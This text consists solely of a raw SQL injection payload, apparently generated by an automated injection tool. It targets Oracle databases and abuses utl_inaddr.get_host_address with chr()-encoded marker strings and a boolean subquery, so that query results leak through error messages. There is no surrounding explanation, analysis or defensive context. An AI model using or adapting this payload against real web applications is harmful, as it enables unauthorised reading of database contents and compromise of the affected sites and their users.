-6397%' or 4493   =   utl_inaddr.get_host_address   (   chr   (   113   )   ||chr   (   113   )   ||chr   (   112   )   ||chr   (   106   )   ||chr   (   113   )   ||   (   select    (   case when    (   4493   =   4493   )    then 1 else 0 end   )    from dual   )   ||chr   (   113   )   ||chr   (   122   )   ||chr   (   118   )   ||chr   (   122   )   ||chr   (   113    )      )     and '%'   =   '